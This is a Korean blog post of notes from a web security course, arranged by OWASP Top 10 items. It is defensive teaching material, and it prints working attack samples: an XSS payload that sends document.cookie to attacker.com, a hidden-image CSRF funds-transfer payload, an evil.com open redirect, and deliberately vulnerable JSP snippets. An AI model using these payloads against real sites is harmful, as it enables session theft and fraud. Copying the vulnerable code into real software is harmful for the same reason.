post list

2014년 4월 20일

Web Security 교육 (2)

 어제에 이어서 S.T 교육을 받았다. 정리를 해보자. 참고로 강사님 사이트는 javaspecialist.co.kr이다.

A2. 인증 및 세션 관리 취약점
 URL에서  ..(생략)...;jsessionid=2PJDJ...(생략)... 와 같은 주소값을 보는 일이 있다. 이것은 tomcat web server를 사용할 때 encode("url")을 사용할 때 나타난다. 여기서 jsessionid가 노출된 것이 중요하다. 이런 경우 패킷 스니핑으로 잡아낼 수 있다.

 쿠키 설정을 안하면 login이 안된다. 왜냐하면 cookie에 세션 id가 저장되지 않기 때문이다. 보통 로그인을 하면 30분 정도 유지가 되며 로그아웃 시에는 이 세션이 만료된다. 문제는 가끔 세션 유지 시간을 -1로 해놓는 경우가 있다. 이 경우는 영구적으로 지속되어 문제가 된다.
 session.invalidate()를 통해 세션을 만료 시켜줘야한다.

 Naver,Daum 같은 큰 포털사이트의 경우에는 매 페이지마다 Session ID가 달라져서 애초에 이런 문제를 방지하고 있다.

 jasypt : 자바 암호화 라이브러리. encrypt 할 때마다 그 값이 달라진다.


A3. 크로스 사이트 스크립팅 (XSS)
(string) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";

라는 코드가 있다고 하자. 저 request 부분에 다음의 코드를 삽입한다면
'><script>document.location = 'http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>'
의도하지 않은 사이트로 접속하게 되어 정보를 넘겨주게 될 것이다.

 < 는 &lt;
 > 는 &gt;  로 바꾸는 것으로도 많은 문제가 해결된다. 물론 unicode 변환을 이용해 다시 무력화 할 수 있어서 완벽한 방어책은 아니다.


A4. 취약한 직접 객체 참조.
 JS 코드를 이용해 DOM Tree를 조정할 수 있다는 것이다. 예를 들어 document.querySelector("CSS선택자") 같은걸 이용해 DOM을 만질 수 있다.
 사실 get방식이건 post 방식이건 서버는 이 사람이 session id를 이용해 로그인이 되어 있는지만 체크한다. parosproxy를 이용해 패키을 가로챌 수 있다.
 인터넷옵션-연결탭-LAN설정-프록시서버-포트변경-Trap-Tap request체크.
 이 상태에서 인터넷을 이용해 패킷을 보내면 잡힌다. 잡은 패킷을 조작해 continue 하게 되면 변조된 패킷이 날아간다. 왼쪽에서 Sites->cmm에 존재한다.
 만약 같은 컴퓨터를 여럿이서 사용한다면 새로운 세션을 열어서 인터넷을 해야한다.
 cookie toolbar 를 이용해 edit cookie가 가능하다. 다운로드는 www.diodia.com에서 가능.
 이러한 직접 객체 참조를 막기 위해서는 서버단 검증이 반드시 필요하다.
 user-agent는 사용자의 브라우저가 무엇인지 알려준다. trident는 IE의 렌더링 엔진을 의미한다. 그리고 만약 user-agent에 paros를 거쳐서 오는 패킷이 있다면 반드시 막아야 한다. 또한 만약을 대비해 회원들의 IP를 저장해둬야할 것이다.

 Web Application Server : WebLogic, WebSphere, JEUS 그리고 Tomcat..
 이러한 녀석들을 이용하면 Application 혹은 Context를 Deploy하고 Undeploy할 수 있도록 해준다. 보통 http://localhost:8080/manager 혹은 console에서 관리자 페이지를 제공한다.

 Eclipse JavaEE + Tomcat + 환경변수 잡기(JDK설치된 곳으로 지정) 하여 환경을 구축한다.
 Tomcat의 내부 폴더에서 bin/startup을 실행한다. /manager로 접속한다. conf/tomcat-users를 보면
 <-- <role name="tomcat"/>
 ... (생략) ...
 -->이 있다. 이것을 참조하여 추가한후 Shutdown & Startup을 한다.
 Application Deploy가 가능해진다. 여기서 쓸데 없는 App은 Undeploy 해둬야 한다. 이클립스를 실행해서 Dynamic Web Project를 실행한다. Build Path - Configuration ... - Library - Add External Jar - 아파치 폴더의 Servlet-API 추가한다. 프로젝트를 완성했으면 원격지 업로드를 위해서 Export-WAR file을 해서 관리자 콘솔 아래에서 Deploy를 하도록 한다.

 디렉토리 목록은 결코 밖으로 보여져서는 안된다.

 Java -> class -> Jar -> Dex -> apk  의 구조를 가진다. 이 때 Java Decompile을 통해 Dex 파일을 class로 변환하여 소스코드를 확인할 수 있다.

 패킷트레이서를 이용해 패킷을 훔칠 수도 있다.

 암호화 알고리즘이 뻔해서 추측이 가능하다. 변화를 주기위해 salt를 사용한다.

 암호화 알고리즘은 알고리즘 + 알고리즘 운용방식 + 패팅으로 이루어진다. 다음 블록의 암호화 시에 전의 블록의 결과를 이용한다. 단방향 알고리즘은 이러한 seed가 없기 때문에 salt를 쓰는 것이다.

 JD-GUI를 참고하라. url:admin을 하면 admin이 있는 url를 찾아준다.


 A8. 크로스 사이트 요청변조(CSRF)
  웹 사이트 구조를 알기 위해 프로그램을 이용해 URL구조를 알수 있다. 웹 사이트 구조를 알게 되면 다음의 코드를 이용해 위험에 처할 수 있다.
 <img src="http://example.com/app/transferFunds?amount=1500&destinationAccount+=attackersAcc+#" width="0" height="0"/>
 이 값을 넣어놓게 되면 관리자가 접속시에 당하게 될 것.


 A9. 알려진 취약점이 있는 컴포넌트 사용
 MIT 라이센스는 가져다 쓰는 것은 무료이나 그로 인한 피해는 책임지지 않는 라이센스다.


 A10. 검증되지 않은 redirect & forward
 만약 a.jsp -> b.jsp가 있다고 하자.
 이 때 redirect는 url의 주소가 b.jsp가 되며 사용자 이름은 null이다.
 (response.sendRedirect("b.jsp");)
 요청이 2번 일어난다. 그런데 요청이라는 것은 1회성이기 때문에 b.jsp로 사용자 이름이 넘어가지 않는다. 이러한 redirection은 글을 저장하고 바로 목록을 조회해서 뿌려줘야 할 때에 쓰이는 것이다. 즉, 요청 후 새로운 요청이 실행될 때 쓰인다.

 forward는 url주소가 그대로 a.jsp이며 사용자 이름도 넘어간다.
 (request.getRequestDispather("b.jsp").forward(request,response);)
 요청은 단 한번 일어난다. a.jsp에서 request객체를 b.jsp로 넘겨주어 b.jsp에서 응답하는 절차다. forward는 요청 후 결과를 보여주기 위해서 쓰인다.

 http://www.example.com/redirect.jsp?url=evil.com과 같이 다른 사이트로 넘어가게 될 수도 있으니 redirect, forward를 조심해야함.

 또 다른 위험으로 비동기 요청이 있다. 브라우저는 해당 도메인 주소가 아닌 다른 도메인 주소에서 ajax를 부르는 것을 거부한다. 하지만! proxy page나 backend 단에서 다른 도메인 요청을 가져올 수 있다는점. 예를 들어 RSS Proxy가 있다.

 <%@ taglib uri="http://java.sun.com/jstl/core" prefix="c" %>
 <c:import charEncoding="UTF-8" url="${param.rssurl}"></c:import> 이 코드의 결과는 XML문서다. 결국 DOM Tree로 해석이 가능하기 때문에 주소와 내용이 달라지게 된다. 그러나 XML 문서를 뿌리는 것 위에 공백이 남게 되어 브라우저가 해석을 못하게 되는데 이러한 경우에도 방법이 있다.
 <%@ page langu....(생략)... trimDirectiveWhitespace="true"%> 를 넣어주면 된다. 이 코드는 앞의 공백을 없애서 XML문서가 well-formed 규칙에 맞게 해준다.

 마지막으로 지속적인 공부를 원한다면
 Webgoat-5.4-OWASP...(생략)...을 다운로드 받아서 배치파일을 실행한다. 웹에서 WebGoat/attack에 접속한다. tomcat-user.xml에 보면 id와 pw가 있다. 걍 guest/guest해도 된다. 그리고 웹보안 취약점이 있는 페이지가 나오는데 이것으로 공부가 가능하다.

댓글 없음:

댓글 쓰기